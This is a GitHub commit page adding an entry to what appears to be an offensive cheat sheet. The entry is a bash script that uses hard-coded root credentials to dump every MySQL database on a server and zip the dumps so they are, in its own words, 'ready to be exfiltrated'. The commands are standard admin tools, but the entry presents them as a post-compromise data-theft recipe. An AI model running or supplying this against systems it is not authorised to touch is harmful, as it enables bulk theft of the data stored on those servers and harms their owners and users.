-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Nicholas Ferreira
committed
Nov 5, 2023
1 parent
e35595e
commit 2ebc7d0
Showing
2 changed files
with
29 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
title = "Dump all MySQL databases from server" | ||
description = "" | ||
tags = ["MySQL", "web"] | ||
source = [""] | ||
|
||
[[data]] | ||
description = "Change user and password and run it. Databases will be zipped to dumps.zip, ready to be exfiltrated." | ||
language = "bash" | ||
command = """#!/bin/bash | ||
USER="root" | ||
PASS="password" | ||
databases=`mysql -u $USER -p$PASS -e "SHOW DATABASES;" | tr -d "| " | grep -v Database` | ||
path=$(mktemp -d) | ||
for db in $databases; do | ||
echo "Dumping db: $db" | ||
mysqldump -u $USER -p$PASS --databases $db > ${path}/`date +%Y%m%d`"_$db.sql" | ||
done | ||
zip -r dumps.zip ${path}/*.sql | ||
rm -fr $path | ||
echo 'Saved dumps at dumps.zip'""" |